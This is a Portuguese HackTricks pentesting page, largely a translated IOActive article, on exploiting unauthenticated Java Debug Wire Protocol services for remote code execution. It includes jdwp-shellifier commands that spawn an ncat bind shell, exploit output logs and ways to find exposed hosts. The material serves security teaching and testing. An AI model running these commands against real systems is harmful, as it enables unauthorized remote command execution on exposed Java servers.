hacktricks/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md

228 lines
22 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Pentesting JDWP - Java Debug Wire Protocol
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Trabalha numa **empresa de cibersegurança**? Quer ver a sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Exploração
A exploração do JDWP baseia-se na **falta de autenticação e criptografia do protocolo**. Geralmente é encontrado na **porta 8000**, mas outras portas são possíveis. A conexão inicial é feita enviando um "JDWP-Handshake" para a porta alvo. Se um serviço JDWP estiver ativo, ele responde com a mesma string, confirmando sua presença. Este handshake funciona como um método de fingerprinting para identificar serviços JDWP na rede.
Em termos de identificação de processos, procurar pela string "jdwk" em processos Java pode indicar uma sessão JDWP ativa.
A ferramenta de escolha é [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Você pode usá-la com diferentes parâmetros:
```bash
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
```
Descobri que o uso de `--break-on 'java.lang.String.indexOf'` torna o exploit mais **estável**. E se você tiver a chance de fazer upload de um backdoor para o host e executá-lo em vez de executar um comando, o exploit será ainda mais estável.
## Mais detalhes
**Copiado de** [**https://ioactive.com/hacking-java-debug-wire-protocol-or-how/**](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)
### **Java Debug Wire Protocol**
**Java Platform Debug Architecture (JPDA)**: JDWP é um componente do sistema global de depuração Java, chamado Java Platform Debug Architecture (JPDA)\[2]. A seguir, um diagrama da arquitetura geral:
[![](https://ioactive.com/wp-content/uploads/2014/04/jdpa.png)](https://ioactive.com/wp-content/uploads/2014/04/jdpa-1.png)
O Debuggee consiste em uma JVM multi-threaded executando nossa aplicação alvo. Para ser remotamente depurável, a instância da JVM deve ser explicitamente iniciada com a opção -Xdebug passada na linha de comando, bem como a opção -Xrunjdwp (ou -agentlib). Por exemplo, iniciar um servidor Tomcat com depuração remota ativada seria assim:
[![](https://ioactive.com/wp-content/uploads/2014/04/tomat.png)](https://ioactive.com/wp-content/uploads/2014/04/tomat-1.png)
Como mostrado no diagrama da arquitetura, o Java Debug Wire Protocol é o elo central entre o Debugger e a instância da JVM. Observações sobre o protocolo incluem:
* É um protocolo binário de rede baseado em pacotes.
* É principalmente síncrono. O debugger envia um comando pelo JDWP e espera receber uma resposta. No entanto, alguns comandos, como Eventos, não esperam uma resposta síncrona. Eles enviarão uma resposta quando condições específicas forem atendidas. Por exemplo, um BreakPoint é um Evento.
* Não utiliza autenticação.
* Não utiliza criptografia.
Todas essas observações fazem total sentido, já que estamos falando de um protocolo de depuração. No entanto, quando tal serviço é exposto a uma rede hostil ou está voltado para a Internet, as coisas podem dar errado.\
\
**Handshake**: JDWP dita\[9] que a comunicação deve ser iniciada por um simples handshake. Após uma conexão TCP bem-sucedida, o Debugger (cliente) envia a string ASCII de 14 caracteres “JDWP-Handshake”. O Debuggee (servidor) responde a esta mensagem enviando exatamente a mesma string. O seguinte rastreamento scapy\[3] mostra o handshake inicial de duas vias:
root:\~/tools/scapy-hg # ip addr show dev eth0 | grep “inet “ inet 192.168.2.2/24 brd 192.168.2.255 scope global eth0root:\~/tools/scapy-hg # ./run\_scapy
Welcome to Scapy (2.2.0-dev)\
**>>>** sniff(filter=”tcp port 8000 and host 192.168.2.9″, count=8)\
\<Sniffed: TCP:9 UDP:1 ICMP:0 Other:0>\
**>>>** tcp.hexraw()\
0000 15:49:30.397814 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 S\
0001 15:49:30.402445 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 SA\
0002 15:49:30.402508 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A\
0003 15:49:30.402601 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 PA / Raw\
**0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake**\
0004 15:49:30.407553 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A\
0005 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A\
0006 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 PA / Raw\
**0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake**\
0007 15:49:30.407636 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A
Um auditor de segurança experiente já pode ter percebido que tal handshake simples oferece uma maneira de descobrir facilmente serviços JDWP ativos na Internet. Basta enviar uma sonda simples e verificar a resposta específica. Mais interessante ainda, um comportamento foi observado no IBM Java Development Kit ao escanear com o ShodanHQ\[4] com o servidor "falando" primeiro com o mesmo banner mencionado. Como consequência, existe uma maneira totalmente passiva de descobrir um serviço JDWP ativo (isso é abordado mais adiante neste artigo com a ajuda do (in)famoso Shodan).\
\
**Comunicação**: JDWP define mensagens\[10] envolvidas na comunicação entre o Debugger e o Debuggee. As mensagens seguem uma estrutura simples, definida da seguinte forma:&#x20;
<figure><img src="https://ioactive.com/wp-content/uploads/2014/04/createstring.png" alt=""><figcaption></figcaption></figure>
Os campos Length e Id são autoexplicativos. O campo Flag é usado apenas para distinguir pacotes de solicitação de respostas, com um valor de 0x80 indicando um pacote de resposta. O campo CommandSet define a categoria do Comando, conforme mostrado na tabela a seguir.\
\\
| **CommandSet** | \*\* Command\*\* |
| -------------- | ---------------------------------------------------------------------------------------------------------------- |
| 0x40 | Ação a ser tomada pela JVM (por exemplo, definir um BreakPoint) |
| 0x400x7F | Fornecer informações de evento ao debugger (por exemplo, a JVM atingiu um BreakPoint e está aguardando ações adicionais) |
| 0x80 | Extensões de terceiros |
Tendo em mente que queremos executar código arbitrário, os seguintes comandos são os mais interessantes para nossos propósitos.
* VirtualMachine/IDSizes define o tamanho das estruturas de dados manipuladas pela JVM. Esta é uma das razões pelas quais o script nmap jdwp-exec.nse\[11] não funciona, pois o script usa tamanhos codificados.
* ClassType/InvokeMethod permite invocar uma função estática.
* ObjectReference/InvokeMethod permite invocar uma função de um objeto instanciado na JVM.
* StackFrame/(Get|Set)Values fornece capacidades de empilhar/desempilhar da pilha de threads.
* Event/Composite força a JVM a reagir a comportamentos específicos declarados por este comando. Este comando é uma chave importante para fins de depuração, pois permite, entre muitas outras coisas, definir breakpoints, avançar passo a passo pelos threads durante a execução e ser notificado ao acessar/modificar valores da mesma maneira que GDB ou WinDBG.
JDWP não só permite acessar e invocar objetos já residentes na memória, mas também permite criar ou sobrescrever dados.
* VirtualMachine/CreateString permite transformar uma string em uma java.lang.String vivendo no tempo de execução da JVM.
* VirtualMachine/RedefineClasses permite instalar novas definições de classe.
**“All your JDWP are belong to us”**
Como vimos, JDWP fornece comandos embutidos para carregar classes arbitrárias na memória da JVM e invocar bytecode já existente e/ou recém-carregado. A próxima seção cobrirá as etapas para criar código de exploração em Python, que se comporta como uma implementação parcial de uma interface JDI para ser o mais confiável possível. A principal razão para este script de exploit independente é que, como pentester, gosto de exploits "head-shot". Ou seja, quando sei com certeza que um ambiente/aplicativo/protocolo é vulnerável, quero ter minha ferramenta pronta para explorá-lo imediatamente (ou seja, sem PoC, que basicamente é a única coisa que existia até agora). Então, agora que cobrimos a teoria, vamos para a implementação prática. Ao enfrentar um serviço JDWP aberto, a execução de comandos arbitrários está a apenas cinco passos de distância (ou com este exploit, apenas um comando de linha de distância). Veja como seria: 1. Obter referência do Java RuntimeA JVM manipula objetos através de suas referências. Por essa razão, nosso exploit deve primeiro obter a referência para a classe java.lang.Runtime. Dessa classe, precisamos da referência para o método getRuntime(). Isso é feito buscando todas as classes (pacote AllClasses) e todos os métodos na classe que estamos procurando (pacote ReferenceType/Methods). 2. Configurar breakpoint e aguardar notificação (chamadas assíncronas)Este é o ponto chave do nosso exploit. Para invocar código arbitrário, precisamos estar em um contexto de thread em execução. Para fazer isso, um hack é configurar um breakpoint em um método que se sabe ser chamado em tempo de execução. Como visto anteriormente, um breakpoint no JDI é um evento assíncrono cujo tipo é definido como BREAKPOINT(0x02). Quando atingido, a JVM envia um pacote EventData para nosso debugger, contendo nosso ID de breakpoint e, mais importante, a referência para o thread que o atingiu.\
\
<figure><img src="https://ioactive.com/wp-content/uploads/2014/04/event_break.png" alt=""><figcaption></figcaption></figure>
Portanto, é uma boa ideia configurá-lo em um método frequentemente chamado, como java.net.ServerSocket.accept(), que provavelmente será chamado toda vez que o servidor receber uma nova conexão de rede. No entanto, deve-se ter em mente que poderia ser qualquer método existente em tempo de execução. 3. Alocar um objeto Java String no Runtime para transportar o payloadVamos executar código no tempo de execução da JVM, então todos os nossos dados manipulados (como string) devem existir no tempo de execução da JVM (ou seja, possuir uma referência de tempo de execução). Isso é feito de maneira bastante simples, enviando um comando CreateString.
<figure><img src="https://ioactive.com/wp-content/uploads/2014/04/Untitled.png" alt=""><figcaption></figcaption></figure>
4\. Obter objeto Runtime a partir do contexto de breakpointNeste ponto, temos quase todos os elementos de que precisamos para uma exploração bem-sucedida e confiável. O que nos falta é uma referência ao objeto Runtime. Obtê-la é fácil, e podemos simplesmente executar no tempo de execução da JVM o método estático java.lang.Runtime.getRuntime()\[8] enviando um pacote ClassType/InvokeMethod e fornecendo as referências da classe Runtime e do thread. 5. Procurar e invocar o método exec() na instância RuntimeO passo final é simplesmente procurar o método exec() no objeto estático Runtime obtido no passo anterior e invocá-lo (enviando um pacote ObjectReference/InvokeMethod) com o objeto String que criamos no terceiro passo.&#x20;
<figure><img src="https://ioactive.com/wp-content/uploads/2014/04/exec.png" alt=""><figcaption></figcaption></figure>
Et voilà !! Rápido e fácil. Como demonstração, vamos iniciar um Tomcat rodando com o "modo de depuração" JPDA ativado:
root@pwnbox:\~/apache-tomcat-6.0.39# ./bin/catalina.sh jpda start
Executamos nosso script sem um comando para executar, para simplesmente obter informações gerais do sistema:
```
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.9
[+] Targeting 192.168.2.9:8000
[+] Reading settings for Java HotSpot(TM) 64-Bit Server VM 1.6.0_65
[+] Found Runtime class: id=466[+] Found Runtime.getRuntime(): id=7facdb6a8038
[+] Created break event id=2
[+] Waiting for an event on java.net.ServerSocket.accept## Here we wait for breakpoint to be triggered by a new connection ##
[+] Received matching event from thread 0x8b0
[+] Found Operating System Mac OS X
[+] Found User name pentestosx
[+] Found ClassPath /Users/pentestosx/Desktop/apache-tomcat-6.0.39/bin/bootstrap.jar
[+] Found User home directory /Users/pentestosx
[!] Command successfully executed
```
Mesmo comando de linha, mas contra um sistema Windows e interrompendo em um método totalmente diferente:
```
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 break-on java.lang.String.indexOf
[+] Targeting 192.168.2.8:8000
[+] Reading settings for Java HotSpot(TM) Client VM 1.7.0_51
[+] Found Runtime class: id=593
[+] Found Runtime.getRuntime(): id=17977a9c
[+] Created break event id=2
[+] Waiting for an event on java.lang.String.indexOf
[+] Received matching event from thread 0x8f5
[+] Found Operating System Windows 7
[+] Found User name hugsy
[+] Found ClassPath C:UsershugsyDesktopapache-tomcat-6.0.39binbootstrap.jar
[+] Found User home directory C:Usershugsy
[!] Command successfully executed
```
Executamos nosso exploit para criar um bind shell com o payload "ncat -e /bin/bash -l -p 1337", contra um sistema Linux:
```
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 cmd ncat -l -p 1337 -e /bin/bash
[+] Targeting 192.168.2.8:8000
[+] Reading settings for OpenJDK Client VM 1.6.0_27
[+] Found Runtime class: id=79d
[+] Found Runtime.getRuntime(): id=8a1f5e0
[+] Created break event id=2
[+] Waiting for an event on java.net.ServerSocket.accept
[+] Received matching event from thread 0x82a[+] Selected payload ncat -l -p 1337 -e /bin/bash
[+] Command string object created id:82b
[+] Runtime.getRuntime() returned context id:0x82c
[+] found Runtime.exec(): id=8a1f5fc[+] Runtime.exec() successful, retId=82d
[!] Command successfully executed Success, we now have a listening socket!
root@pwnbox:~/apache-tomcat-6.0.39# netstat -ntpl | grep 1337
tcp 0 0 0.0.0.0:1337 0.0.0.0:* LISTEN 19242/ncat
tcp6 0 0 :::1337 :::* LISTEN 19242/ncat
```
O exploit final utiliza essas técnicas, adiciona algumas verificações e envia sinais de suspensão/retomada para causar o mínimo de interrupção possível (é sempre melhor não quebrar a aplicação em que você está trabalhando, certo?). Ele atua em dois modos:
* O modo "Padrão" é totalmente não intrusivo e simplesmente executa código Java para obter informações do sistema local (perfeito para um PoC para um cliente).
* Passando a opção "cmd", executa um comando do sistema no host remoto e, portanto, é mais intrusivo. O comando é realizado com os privilégios com os quais a JVM está sendo executada.
Este script de exploit foi testado com sucesso contra:
* Oracle Java JDK 1.6 e 1.7
* OpenJDK 1.6
* IBM JDK 1.6
Como o Java é independente de plataforma por design, comandos podem ser executados em qualquer sistema operacional que o Java suporte. Bem, isso é na verdade uma boa notícia para nós, pentesters: **serviço JDWP aberto significa RCE confiável**. Até agora, tudo bem.
### **E quanto à exploração na vida real?**
De fato, o JDWP é bastante utilizado no mundo das aplicações Java. Pentesters podem, no entanto, não vê-lo com tanta frequência ao realizar avaliações remotas, pois firewalls devem (e deveriam) bloquear principalmente a porta em que está sendo executado. Mas isso não significa que o JDWP não possa ser encontrado na natureza:
* No momento em que este artigo foi escrito, uma rápida pesquisa no ShodanHQ\[4] revela imediatamente cerca de 40 servidores enviando o handshake do JDWP:
![](https://ioactive.com/wp-content/uploads/2014/04/shodan.png)
Isso é na verdade uma descoberta interessante porque, como vimos antes, é suposto ser o lado do cliente (debugger) que inicia o diálogo.
* O GitHub\[7] também revela um número significativo de aplicações open-source potencialmente vulneráveis:
![](https://ioactive.com/wp-content/uploads/2014/04/github.png)
* Fazer masscan na Internet procurando por portas específicas (tcp/8000, tcp/8080, tcp/8787, tcp/5005) revelou muitos hosts (que não podem ser relatados aqui) respondendo ao handshake inicial.
* Aplicações "Enterprise" foram encontradas na natureza executando um serviço JDWP \*por padrão\* (encontrar o número da porta real fica como um exercício para o leitor curioso).
Estas são apenas algumas maneiras de descobrir serviços JDWP abertos na Internet. Isso é um ótimo lembrete de que as aplicações devem passar regularmente por revisões de segurança completas, ambientes de produção devem ter qualquer funcionalidade de depuração desativada e firewalls devem ser configurados para restringir o acesso apenas aos serviços necessários para a operação normal. Permitir que qualquer pessoa se conecte a um serviço JDWP é exatamente o mesmo que permitir uma conexão a um serviço gdbserver (de uma maneira que pode ser mais estável). Espero que tenham gostado de ler este artigo tanto quanto eu gostei de brincar com o JDWP. A todos vocês, poderosos piratas, feliz conquista do JDWP!!
**Obrigado**\
\
Gostaria de agradecer a Ilja Van Sprundel e Sebastien Macke por suas ideias e testes.
### **Referências:**
1. [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
2. [http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html](http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html)
3. http://www.secdev.org/projects/scapy (não mais ativo)
4. [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
5. http://www.hsc-news.com/archives/2013/000109.html (não mais ativo)
6. [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
7. https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults
8. [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
9. [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
10. [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
11. [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>